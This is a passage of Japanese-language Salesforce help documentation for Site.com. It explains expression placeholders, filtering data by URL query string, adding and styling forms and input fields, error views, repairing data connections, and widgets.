ているけれども、親の繰り返しのオブジェクトがネストされている項目のオ
ブジェクトと関連がない場合にのみ利用できます。
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説明ソース

警告: 関連のないオブジェクトからデータを取得すると、サイトのパ
フォーマンスにマイナスの影響がある可能性があります。関連するオ
ブジェクトからのみデータを取得することをお勧めします。

関連トピック:

データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
データ関数の使用
式を使用した動的データの表示について

式を使用した動的データの表示について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.comでは、式言語を使用して、データを動的に表示します。式は、ページが
読み込まれたときに情報に置き換えられるデータのプレースホルダとして機能
します。データバインドページ要素またはカスタムウィジェットプロパティを
使用している場合、式を使用して、ページにデータを表示する方法をカスタマ
イズできます。
Site.comでは、式の構文は、開き中括弧と感嘆符、項目名、カスタムプロパティ
名、名前空間名、閉じ中括弧で構成されます。
たとえば、URL というカスタムプロパティをウィジェットに追加した場合、構
文 {!URL} を使用して、カスタムコードまたはコンテンツブロックに式を追加
できます。同様に、市区郡 (請求先) 項目の式を追加する場合、構文
{!BillingCity}を使用します。関連オブジェクトの場合、項目名の前に主オ
ブジェクトの名前 {!Account.BillingCity} が付けられます。
データの繰り返しまたはデータテーブルの列でデータ要素を編集している場合、
式を使用せずに、ドロップダウンリスト内の名前でオブジェクトの項目にアクセスできます。ただし、ページ
に項目を表示する方法をカスタマイズする場合、ダイアログボックスの[カスタマイズ]をクリックして式を表
示および編集できます。
データの繰り返しでカスタムコードまたはコンテンツブロックを使用している場合、式を使用してのみ、オブ
ジェクトの項目にアクセスできます。
式を使用して、次の方法で出力をカスタマイズできます。
• 式の前後にテキストを追加します。たとえば、各事業所の電話番号を表示しているとします。{!Phone}

式の前に、「連絡先」というテキストを入力できます。ページにデータが表示される際、{!Phone}は各レ
コードの項目値連絡先電話番号 100–200–3000 に置き換えられます。

• HTML タグを使用して、出力の書式を設定します。たとえば、式の前後に H1 タグをラップして、ページに
出力を表示する方法を変更できます (<H1>{!Phone}</H1>)。

• URL クエリ文字列を作成して、変数情報を別のページ上のデータの繰り返しまたはデータテーブルに渡しま
す。その後、2 番目のページでは、受け取った変数を使用して、関連するレコードを取得および表示しま
す。たとえば、{!id}が各レコードの商品 ID に置き換えられる、/product_details?productID={!id}
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などのハイパーリンクを作成できます。特定の商品リンクをクリックすると、商品 ID が商品詳細ページに
渡され、この ID を使用してレコードの情報が取得されてページに表示されます。

関連トピック:

データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
データ関数の使用

データ検索条件の例

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

データの繰り返し、データテーブル、およびデータ関数を使用すると、取得す
るデータを多くの方法で絞り込むことができます。このトピックでは、一般的
な絞り込み手法の一部を紹介するため、固定値および URL クエリ文字列という 2

つのオプションについて説明します。

例1: 固定値を使用して結果を絞り込む
最初の例では、会社のニュースとイベントを保存する「ニュース」というカス
タムオブジェクトを使用しています。各ニュース項目には [状況]選択リストが
あり、進行中または承認済みに設定できます。会社ニュースのページには、承
認済みのニュース項目のみを表示したいとします。この場合、固定値を使用し
て、ニュースオブジェクトのデータを絞り込むことができます。
このシナリオでは、次の操作を実行します。
1. ページにデータの繰り返しを追加して、次のように設定します。

a. ニュースカスタムオブジェクトを選択します。
b. [条件] セクションで、条件を [状況が固定値に等しい] に設定します。
c. [値] テキストボックスに「承認済み」と入力します。
これにより、データの繰り返しに [状況] 項目に Approved という値が含まれるレコードのみを返すよう
に指示します。

2. データの繰り返しにデータ要素を追加して、ページにタイトル、説明、日付などの必須項目を表示します。

例 2: URL クエリ文字列を使って動的に結果を絞り込み、別のページに結果を表示する
2 番目の例では、商品情報を保存する「商品」というカスタムオブジェクトを使用しています。ただし、商品
の一部が特定の地域でのみ入手可能であるので、顧客の最寄の市で入手可能な商品を確認できるようにする必
要があります。この場合は、使用可能な各市へのリンクを含む場所サイトページを作成します。
各リンクが商品サイトページを開くものの、ユーザの選択に基づいた商品のみを表示するようにする必要があ
ります。これは、URL クエリ文字列を使用すると実現できます。URL クエリ文字列では、HTML ページ間で可変
コンテンツを渡すことができます。この場合の変数情報は商品の場所ですが、データの繰り返しはユーザが選
択を行うまで、返す商品を把握しません。
このシナリオでは、次の操作を実行します。
1. 商品ページにデータの繰り返しを追加して、次のように設定します。
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商品カスタムオブジェクトを選択します。a.

b. [条件] セクションで、条件を「市区郡 次の文字列と一致する URL クエリ文字列」に設定します。
c. [値] テキストボックスに、変数名 (この場合は、「場所」) を入力します。
d. [クエリ文字列がない場合] ドロップダウンで、[この条件項目を適用しない]を選択します。このオプショ

ンは、顧客が絞り込みなしですべての商品の参照を希望する場合に使用します。
e. [保存] をクリックします。

2. 商品名、説明、価格など、表示する項目のデータ要素を追加します。
3. 場所ページで、データの繰り返しを追加して商品カスタムオブジェクトを選択します。
4. データ要素を [市区郡] 項目を表すデータの繰り返しに追加して、この項目を次のように設定します。

a. ハイパーリンクに市の名前を使用するため、表示項目として [市区郡] を選択します。
b. 表示形式として [テキスト] を選択します。
c. [ハイパーリンクを追加] を選択して、ページに URL を表示します。
d. [リンク先] ドロップダウンリストで、[サイトの項目] を選択します。
e. 種別として [ページ] を選択し、商品ページを選択します。ページリストが表示されない場合は、URL テ

キストボックスにカーソルを置いてキーボードの Down キーを押します。
f. URL 値を /product?location={!City}に変更します。この場合、{!City}は、レコードの [市区郡]

項目の値に対応するプレースホルダです。ページの初回の読み込み時に、{!City} がダラスなどの適
切な値に置き換えられます。これにより、そのレコードに対する次の URL が作成されます。
/product?location=Dallas

これにより、クリックすると商品ページが開き、location 変数の値として Dallas を渡します。

g. ツールチップを作成するために、[市区郡] 項目を選択して [カスタマイズ] をクリックします。
h. 値を「{!City} で入手可能な商品を表示」に変更します。

ページの読み込み時に各レコードの [市区郡]項目の値によって、再度、{!City}プレースホルダが置
き換えられます。

これで、場所ページの読み込み時に、データの繰り返しにより各商品の場所がリンクとして表示されます。ダ
ラスなどのリンクを顧客がクリックすると、場所ページが商品ページに location=Dallas を渡すようにな
ります。商品ページの読み込み時に、データの繰り返しではこの値を使用して、[市区郡] 項目に Dallas と
いう値を含むレコードのみを動的に返します。

関連トピック:

データの繰り返しによるデータの動的取得
データ要素を使用したデータの表示
データテーブルによるデータの動的取得
関連オブジェクトでのデータアクセスの概要
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ページへのフォームの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ページにフォームを追加
する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

Site.com Studio で割り
当てられたサイト管理
者またはデザイナロー
ル

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

Site.com Studio で割り
当てられたサイト管理
者またはデザイナロー
ル

および

「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

サイトの訪問者からデータを収集し、データを標準またはカスタム Salesforce オ
ブジェクトに登録するには、フォームを使用します。Web-to-リードの作成、顧
客の詳細情報の取得、または商品やサービスのフィードバックの収集を行えま
す。
ページにフォームを追加する手順は、次のとおりです。
1. [ページ要素] ペインからページに [フォーム] をドラッグします。
2. データの登録先である Salesforce オブジェクトを選択します。

メモ:

• サイト訪問者はゲストユーザライセンスを使用して公開サイトにア
クセスするので、Site.comユーザのドロップダウンリストにはゲスト
ユーザが使用できるオブジェクトのみが表示されます。他のオブジェ
クトを利用できるようにするには、「Salesforce オブジェクトのデー
タアクセス権限の設定」に移動して、関連するオブジェクトの「作
成」権限を有効化し、リストを更新します。

• コミュニティユーザのドロップダウンリストには、サイト訪問者に
は表示されないオブジェクトが表示される可能性があります。認証
された訪問者の場合、公開ページおよび非公開ページのオブジェク
トアクセスは、各自のユーザプロファイルで制御されます。認証さ
れていない訪問者の場合、公開ページのオブジェクトアクセスは、
サイトのゲストユーザプロファイルで制御されます。

3. 利用可能な項目をフォームに追加するには、項目をダブルクリックするか、
または選択して をクリックします。
すべての必須項目は、選択された項目のリストに自動的に追加されます。た
だし、ページにフォームを追加した後は、必須項目を非表示にすることがで
きます。

4. [上に移動] または [下に移動] をクリックして、選択された項目のリストの順
序を並び替えます。

5. [保存] をクリックします。

メモ: Site.comの認証されたコミュニティページにフォームを追加する場合、
[所有者 ID] 項目を必要とする Salesforce オブジェクトに現在のユーザを設定
します。(デフォルトのゲストユーザではなく) 現在のユーザを設定すると、
フォームの送信時に認証されたユーザを識別できます。現在のユーザを [所
有者 ID] 項目に設定するには、フォームの項目を選択し、[プロパティ] ペイ
ンの [項目プロパティ] にある [設定] をクリックします。次に、ソースとし
て [グローバルプロパティ]を選択し、値として [現在のユーザ ID]を選択
します。
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ページにフォームを追加したら、フォームの接続先のオブジェクトを変更することはできません。他のオブ
ジェクトに接続する必要がある場合は、フォームを置き換える必要があります。
フォームの [プロパティ] ペインを使用すると、次の操作を実行できます。
• フォームの接続先のオブジェクトを表示する。
• フォームの上にタイトルを追加する。
• フォームを正常に登録できた場合に実行される処理の指定。
• 異なるテーマを選択してフォームの外観を変更する。

フォームまたはページへの入力項目の追加
フォームの入力項目の編集
ページにフォームを追加後は、そのページの項目を編集したり、並び替えたりすることができます。
入力項目の種別
入力項目のプロパティ
入力項目のデフォルト値の設定
フォームまたはページに追加する入力項目のデフォルト値を設定できます。これにより、ページの読み込
み時に指定する値を使用して入力項目が自動的に入力されます。
フォームの登録動作の設定
サイト訪問者がフォームの登録に成功したら、サイト訪問者を他のページにリダイレクトするか、または
登録が成功したことを示すメッセージを表示するかのいずれかを実行できます。
フォームのスタイル設定
フォームは、Web サイトのデザインに一致するようにカスタマイズできる CSS テーマを使用してスタイル
設定されます。

関連トピック:

フォームまたはページへの入力項目の追加
入力項目の種別
フォームの入力項目の編集
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フォームまたはページへの入力項目の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

フォームへの入力項目の追加
既存のフォームに追加の入力項目を追加できます。各入力項目はフォームの接
続先のオブジェクトの項目にバインドされます。
最も早くページを作成する手順は、次のとおりです。
1. ページでフォームを選択します。
2. [ ] > [項目を追加] を選択します。
3. [項目を追加] リストで、追加する項目をクリックします [項目を追加] リスト

では、フォームの接続先のオブジェクトの使用可能な項目を表示します。項
目をクリックすると、チェックボックスまたは選択リスト項目などの適切な
項目の種別が自動的にフォームに追加されます。

次の手順でもページを作成できます。
1. ページでフォームを選択します。
2. [ ] > [ページ要素を追加] を選択します。
3. [ページ要素を追加] リストで、[チェックボックス] などの追加する入力項目

の種別をクリックします。
4. [項目を追加] ダイアログボックスで項目を選択して、[保存] をクリックしま

す。オブジェクトに該当種別の項目がない場合は、その種別の項目をフォー
ムに追加できません。

メモ:

• フォームには、[ ] > [フォームの編集]をクリックして、項目を追加す
ることはできません。

• 数式、暗号化テキスト、地理位置情報、および参照項目の種別はサポー
トされていません。

• 誤った値が入力されたときに表示されるデフォルトの項目レベルのエ
ラーメッセージを変更することはできません。

ページへの入力項目の追加
ページ、パネル、データの繰り返し、またはデータテーブルに入力項目を直接追加して、カスタムコードを使
用して独自のカスタム機能を作成できます。たとえば、商品の一部が特定の地域でのみ入手可能であるため、
顧客の最寄りの市で入手可能な商品を確認できるようにする必要があるとします。ページにさまざまな場所を
リストする選択リスト入力項目を追加します。カスタムコードを使用すると、クエリ文字列を使用して、ユー
ザの選択内容をデータテーブルまたはデータの繰り返しに渡して、絞り込んだ商品リストを表示することがで
きます。
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ページに入力項目を追加するには、[ページ要素] ペインからページにその入力項目をドラッグします。また
は、[ページ構造] ペインでページまたはコンテナページ要素を選択して、[ ] > [ページ要素を追加] を選択
し、その入力項目を選択します。

関連トピック:

入力項目の種別
入力項目のプロパティ
フォームの入力項目の編集
ページへのフォームの追加

フォームの入力項目の編集

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページにフォームを追加後は、そのページの項目を編集したり、並び替えたり
することができます。
項目を並び替えるには、ページ上または [ページ構造] ペイン内の適切な位置ま
で項目をドラッグします。または、項目を選択して、[ ] > [上に移動]か[ ] >

[下に移動] をクリックします。
サイト訪問者に表示させることを希望しない必須項目などの項目を非表示にす
るには、[プロパティ] ペインの [非表示項目] を選択します。項目を非表示にし
たときは、[ページ構造] ペインから項目にアクセスできます。
項目を必須項目 (フォームを登録するために必ず入力する必要がある項目) にす
るには、[プロパティ] ペインの [必須項目] を選択します。必須項目であること
を示す赤いアスタリスク (*) がその項目の横に表示されます。フォームが接続さ
れているオブジェクトが必要とするすべての項目の[必須項目]設定は、変更で
きません。
項目の名前を変更するには、[プロパティ] ペインの [表示ラベル名] 項目の名前
を変更します。
ページの項目の外観を変更するには、[プロパティ] ペインで他のテーマを選択し
ます。この項目がフォーム内にある場合、フォームのテーマの変更のみを行う
ことができます。

メモ:

• 項目をフォームからページ上に移動することはできません。ただし、必
須ではない項目を削除することはできません。また、必須および必須で
はない項目の両方を非表示にすることはできません。
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• 項目をページからフォーム上にドラッグすることはできません。

関連トピック:

フォームまたはページへの入力項目の追加
入力項目のプロパティ
入力項目のデフォルト値の設定
ページへのフォームの追加

入力項目の種別

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

フォームまたはページに入力項目を追加する場合、次のデータ型を使用できま
す。ただし、フォームに接続されているオブジェクトに特定のデータ型を含ま
ない場合、フォームに入力項目の種別を追加することはできません。

説明ページ要素

フォームまたはページで true (選択) または false

(選択解除) 値を選択できます。
チェックボックス

フォームまたはページで通貨金額を入力できま
す。

通貨

フォームまたはページで日付を入力できます。
項目の [日付/時間セレクタ]プロパティが [ポッ
プアップカレンダー] に設定されている場合、

日付

ポップアップカレンダーから日付を選択できま
す。

フォームまたはページで日付と時間を入力でき
ます。項目の [日付/時間セレクタ] プロパティ

日付/時間

が [ポップアップカレンダー] に設定されている
場合、ポップアップカレンダーから値を選択で
きます。

フォームまたはページで有効なメールアドレス
を入力できます。

メール

フォームまたはページのリストから 1 つ以上の
値を選択できます。

複数選択リスト

フォームまたはページで整数を入力できます。数字

フォームまたはページでパーセント数値を入力
できます。

パーセント

フォームまたはページで電話番号を入力できま
す。

電話
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説明ページ要素

フォームまたはページでリストから値を選択できます。選択リスト

フォームまたはページで最大 32,768 文字を入力できます。文字、数
字、または記号の任意の組み合わせがサポートされます。テキス

リッチテキストエリア

トの書式を設定したり、画像およびハイパーリンクを追加したり
できます。

メモ: セキュリティ上の制約により、リッチテキストエリア
項目は、Site.com サイトまたは Force.com サイトでの画像アッ
プロードには使用できません。

フォームまたはページで、(Salesforce オブジェクトの項目制限に応
じて) 最大 255 文字を入力できます。文字、数字、または記号の任
意の組み合わせがサポートされます。

テキスト

フォームまたはページで最大 32,768 文字を入力して、複数行に表示
できます。文字、数字、または記号の任意の組み合わせがサポー
トされます。

テキストエリア

フォームまたはページで有効な Web サイトアドレスを入力できま
す。

URL

関連トピック:

フォームまたはページへの入力項目の追加
入力項目のプロパティ
ページへのフォームの追加

入力項目のプロパティ

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

フォームまたはページに入力項目を追加したり、編集したりする場合は、[プロ
パティ] ペインの [項目プロパティ] セクションのオプションを使用して、選択し
た入力項目の機能を制御します。

説明名前

項目の外部名。これは、フォームまた
はページの項目名として表示されま
す。

表示ラベル名

項目のデフォルト値を設定します。こ
れにより、ページの読み込み時に指定
する値を使用して項目が自動的に入力
されます。

デフォルト値
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説明名前

選択した場合、項目が必須項目になり、ユーザはこの
値を入力することなくレコードを登録することができ

必須項目

なくなります。必須項目であることを示す赤いアスタ
リスク (*) がその項目の横に表示されます。
フォームが接続されているオブジェクトが必要とする
すべての項目の [必須項目] 設定は、変更できませ
ん。

選択した場合、フォームまたはページの項目を非表示
にします。たとえば、サイト訪問者が必須項目を表示

非表示項目

しないようにする必要がある場合や、ユーザに参照ま
たは編集させたくない項目のデフォルト値を設定する
必要がある場合などです。ページキャンバスで項目を
非表示にした場合でも、[ページ構造] ペインから項目
にアクセスすることができます。

[日付/時間]項目のみに適用されます。ポップアップ
カレンダーでユーザが日付と時間を選択できるように
するかを設定します。

日付/時間セレクタ

ページに直接追加する場合に限り、[選択リスト] 項
目および[複数選択リスト]項目のみに適用されます。

選択リスト値

選択リスト内にこの項目のリストが表示されるように
設定します (項目がオブジェクトに接続されている場
合は、選択リスト項目を変更することはできません)。
各選択リスト項目は、[表示ラベル]項目と [値]項目
で構成されています。[表示ラベル] 項目は選択リス
トに表示されるのに対して、[値]項目は内部値です。
ほとんどの場合、ユーザに表示される値とは異なる値
を登録する必要がある場合以外は、両方の項目で同じ
値を使用することができます。
[表示ラベル]項目および [値]項目に値を入力するに
は、 をクリックします。

[リッチテキストエリア] および [テキストエリア] 項
目のみに適用されます。表示する行数を設定します。

行

関連トピック:

入力項目の種別
フォームまたはページへの入力項目の追加
フォームの入力項目の編集
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入力項目のデフォルト値の設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

フォームまたはページに追加する入力項目のデフォルト値を設定できます。こ
れにより、ページの読み込み時に指定する値を使用して入力項目が自動的に入
力されます。
フォームまたはページの項目を非表示にする、項目の [非表示項目]プロパティ
と併用すると、デフォルト値はユーザに表示することを希望しないデータの登
録に役立つツールになります。たとえば、[グローバルプロパティ] オプションを
使用する非表示の項目を追加して、フォームの登録時刻を管理することができ
ます。

メモ: オブジェクトに対してすでに設定されているデフォルト項目値は
Site.com には移行されません。

項目のデフォルト値を設定する手順は、次のとおりです。
1. 項目を選択します。
2. [プロパティ] ペインで [設定] をクリックします。
3. デフォルト値のソースを選択します。

説明オプション

値を指定する場合に使用します。た
とえば、テキスト項目でデフォルト
のテキストを追加する場合などです。
または、項目が選択リストである場
合はリストからデフォルト値を選択
できます。

固定値

ページの読み込み時に URL を使用し
て変数コンテンツを項目に渡す場合

URL クエリ文字列

に使用します。たとえば、選択リス
ト項目を使用している場合、場所な
どの変数情報を渡して、リストを絞
り込み、その場所の項目のみを表示
できるようにします。データの繰り
返しを使用した同様のシナリオにつ
いては、「データ検索条件の例」を
参照してください。

現在の日付または現在の時刻など、
サイトの固定値を使用する場合に使
用します。

グローバルプロパティ

ホストヘッダーまたはブラウザのバー
ジョンなど、ブラウザの値を使用す
る場合に使用します。

要求ヘッダー
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4. デフォルト値を設定します。
5. [保存] をクリックします。

関連トピック:

フォームまたはページへの入力項目の追加
フォームの入力項目の編集
ページへのフォームの追加

フォームの登録動作の設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイト訪問者がフォームの登録に成功したら、サイト訪問者を他のページにリ
ダイレクトするか、または登録が成功したことを示すメッセージを表示するか
のいずれかを実行できます。
ページを開いた状態で、次の手順を実行します。
1. [ページ構造] ペインでフォームを選択します。
2. [プロパティ] ペインで、[成功時] ドロップダウンリストでオプションを選択

します。

説明オプション

指定したページにユーザをリダイレ
クトします。

他のページを表示

フォームの下にメッセージを表示し
ます。

メッセージを表示

3. 必要に応じて、次のいずれかを指定します。
• [ページ URL]項目内のページのリダイレクト先。サイトページなどの相

対 URL または絶対 URL を入力できます。相対 URL では、必ずスラッシュ (/)

を含めます。
• [メッセージテキスト] 項目のメッセージテキスト。

ヒント: フォームの [送信]ボタンを使用して [イベント] ペインでアクション
を登録します。

関連トピック:

ページへのフォームの追加
入力項目のプロパティ
Site.com データサービスの概要
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フォームのスタイル設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

フォームは、Web サイトのデザインに一致するようにカスタマイズできる CSS

テーマを使用してスタイル設定されます。
ページにフォームを追加する場合は、デフォルトのテーマを使用して、外観を
制御します。フォームのテーマを変更するには、[プロパティ] ペインの [テーマ]

セクションのオプションを選択します。
• [デフォルト]では、テキストボックスの上に項目名を配置します。必須項目

は、項目名の横の赤いアスタリスク (*) で示されます。
• Salesforceでは、テキストボックスの左に項目名を配置します。必須項目

は、テキストボックスの前の赤い縦棒 (|) で示されます。
または、ニーズに合わせてテーマをカスタマイズする手順は、次のとおりです。
1. ページでフォームを選択します。
2. [プロパティ] ペインの [テーマ] セクションでベースとして使用するテーマを

選択します。
3. [スタイル] ペインを開き、[クラス] が選択されていることを確認します。
4. [スタイル] ドロップダウンリストで、スタイル設定するフォームの部分を選

択します。項目を選択すると、数秒間強調表示されるため、スタイル設定し
ている部分を簡単に確認できます。

説明オプション

フォーム全体のスタイルを設定しま
す。

フォーム全体

各項目行のスタイルを設定します。項目行

各項目の表示ラベルのスタイルを設
定します。

項目の表示ラベル

項目 (テキストボックス、ドロップダ
ウンリストなど) のスタイルを設定し

項目

ます Salesforce テーマでのみ使用でき
ます。

必須項目のアスタリスク記号 (*) のス
タイルを設定します。デフォルトの
テーマでのみ使用できます。

必須記号。

ユーザが適切に設定されていない
フォームを送信しようとすると表示

エラーメッセージ

されるエラーメッセージのスタイル
を設定します。デフォルトのテーマ
でのみ使用できます。
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ヒント:  CSS に精通している場合は、サイトのスタイルシートでフォームのスタイルを変更することも
できます。

5. 選択したフォームの部分のスタイルを設定するには、スタイルペインのプロパティを更新します。テーマ
のカスタマイズは、フォームに即時に反映され、選択したフォームのみに適用されます。

6. フォームの部分ごとに必要なだけ繰り返します。

関連トピック:

ページへのフォームの追加

デフォルトビュー、エラービュー、およびデータ無しビュー

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

データの繰り返し、データテーブル、データ関数、およびフォームを使用する
場合は、データソースへの接続時にエラーが発生した際にサイト訪問者に表示
される内容をカスタマイズできます。また、データテーブル、データの繰り返
し、データ関数では、現在のクエリに対してデータがない場合に表示される内
容をカスタマイズできます。たとえば、データの繰り返しを設定して動的に検
索を行い、ユーザの選択に基づいて結果を表示したけれども、その選択に対し
て結果がない場合に、発生した状況を説明する適切なメッセージを表示するこ
とができます。

• デフォルトビュー (1) は、通常、ページで表示されるビュー。たとえば、ページにフォームを追加すると、
デフォルトビューにはフォームの項目が含まれます。

• エラービュー (2) は、データソースへの接続時にエラーが発生した場合に表示される。エラービューには、
カスタマイズ可能なデフォルトメッセージを含むコンテンツブロックが含まれます。このビューにはその
他のページ要素を追加することもできます。

6155

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



• データ無しビュー (3) は、現在のクエリに対してデータがない場合に表示される。エラービューには、カス
タマイズ可能なデフォルトメッセージを含むコンテンツブロックが含まれます。このビューにはその他の
ページ要素を追加することもできます。

関連トピック:

データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
データ関数の使用

データ接続の修正

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

自分または他のユーザが既存のデータの繰り返し、データテーブル、データ関
数、またはフォームの接続先のオブジェクトを変更すると、データ接続が切断
される場合があります。これは、接続されているオブジェクトまたは項目の名
称を変更したり削除したりした場合やそのオブジェクトの権限が変更された場
合に発生する可能性があります。
切断されたデータ接続を含むサイトページを開くと、問題をリストするダイア
ログボックスが表示されます。問題を解決できる可能性のある解決策を確認す
るには、各項目の アイコンにマウスを置きます。

ソリューション問題

ゲストユーザプロファイルを開き、オ
ブジェクトに対する「参照」権限が有
効であることを確認します。
確認できなかった場合は、リストされ
ている項目の横にある [編集]をクリッ

データの繰り返し、データテーブル、
データ関数が、適切なアクセス権限を
持たないオブジェクトに接続されてい
るか、または、名称変更または削除さ
れている。

クして、[データ接続] ダイアログボッ
クスを開き、適切なオブジェクトが選
択されていることを確認します。オブ
ジェクトが名称変更されている場合
は、名称変更されているオブジェクト
を選択します。オブジェクトが削除さ
れている場合は、他のオブジェクトを
選択するか、親要素を削除する必要が
あります。

ゲストユーザプロファイルを開き、オ
ブジェクトに各項目に対して適切な項

データの繰り返し、データテーブル、
データ関数が、参照できなくなった項

目レベルセキュリティが設定されてい
ることを確認します。
確認できなかった場合は、項目の横に
ある [編集]をクリックして、[データ接

目を使用して結果の絞り込みを試みて
いるか、または、名称変更または削除
されている。
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ソリューション問題

続] ダイアログボックスを開き、検索条件をリセット
します。

ゲストユーザプロファイルを開き、オブジェクトにそ
の項目に対して適切な項目レベルセキュリティが設定
されていることを確認します。
確認できなかった場合は、項目の横にある[編集]をク
リックして、[データ要素を編集] ダイアログボックス

データ要素が参照できなくなった項目に接続されてい
るか、または、名称変更または削除されている。

を開き、関連するすべてのドロップダウンリストおよ
びすべてのカスタムテキストから適切な項目が参照さ
れていることを確認します。

ゲストユーザプロファイルを開き、オブジェクトに対
する「作成」権限が有効であることを確認します。
確認できなかった場合は、フォームのデータ接続を編
集することができないため、フォームを置き換える必
要があります。

フォームが適切なアクセス権限のないオブジェクトに
接続されているか、または、名称変更または削除され
ている。

フォームに足りない項目を追加します。フォームで 1 つ以上の必須項目 (フォーム作成後にオ
ブジェクトに追加されている) が不足している。

ゲストユーザプロファイルを開き、オブジェクトにそ
の項目に対して適切な項目レベルセキュリティが設定
されていることを確認します。
確認できなかった場合は、フォームから項目を削除し
ます。

フォーム項目が参照できなくなった項目を参照してい
るか、または、名称変更または削除されている。

メモ: コミュニティユーザが認証ページを使用する場合、認証されたユーザのユーザプロファイルで公開
ページおよび非公開ページのオブジェクトアクセスが制御されます。認証されていない訪問者の場合の
み、ゲストユーザプロファイルで公開ページのオブジェクトアクセスが制御されます。

関連トピック:

Salesforce オブジェクトのデータアクセス権限の設定
データの繰り返しによるデータの動的取得
フォームまたはページへの入力項目の追加
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ウィジェットの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ウィジェットを使用すると、自分と他のユーザがサイト全体で再利用できるカ
スタムページ要素を作成することができ、時間を節約できます。
既存のSite.comページ要素 (パネル、コンテンツブロック、カスタムコード、デー
タの繰り返しなど) を使用して、固有の要件に合ったウィジェットを作成できま
す。カスタムプロパティを追加して、ウィジェットの再利用方法の柔軟性を向
上させることができます。ウィジェットを別のウィジェットに追加することも
できます。
CSS を使用してウィジェットのスタイルを設定すれば、サイトページまたはペー
ジテンプレートに追加されるたびに常に正しく表示されることを確認できます。
また、サイトページへのウィジェットの追加、およびウィジェットの外観を寄
稿者が更新できるようにするブランドプロパティの追加を寄稿者に許可するこ
とができます。
ウィジェットを使用して、次の操作を実行できます。
• サイトの重複を最小限に抑える。一度作成すれば、再利用できます。
• 自分とチームのメンテナンスのオーバーヘッドを軽減する。ウィジェットに対して行った更新は、ページ

のウィジェットのコピーに自動的に反映されます。
• ページの読み込み時間を短縮する。

例: たとえば、カスタムコードページ要素を使用して、Facebook の [いいね!] ボタンや [フォローする] ボタ
ン、Twitter フィードなどの再利用可能なソーシャルプラグインウィジェットを作成できます。
また、すべてのページでデザインに一貫性を持たせる場合は、このサンプルヘッダーウィジェットのよ
うな会社のヘッダーを作成できます。このウィジェットは、会社のロゴ (2) およびメニュー (3) を含むパネ
ル (1) で構成されています。また、Facebook、Twitter、RSS プラグインのカスタムコードを含むパネルで構
成される別のウィジェット (4) も含まれます。

また、ウィジェットを使用して、使用頻度の高いテキスト部分 (会社名、住所、法的な文書など) を保存す
ることもできます。関連するテキストのコンテンツブロックを含むウィジェットを作成するだけで済み
ます。

ウィジェットを使用するベストプラクティス
• 可能な限り、ウィジェットを使用してサイトデザインの重複を排除しますこれは、メンテナンスの時間が

かかる複雑なデザインまたはサイト要素を使用している場合に特に重要になります。
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• 同じウィジェットを複数のサイトで使用する場合、必要なすべてのウィジェットを含む基本サイトを作成
することを検討してください。その後、新しい各サイトで、その基本サイトのコピーを作成します。こう
することで、作成したすべてのウィジェットが自動的に新しい各サイトに含まれます。

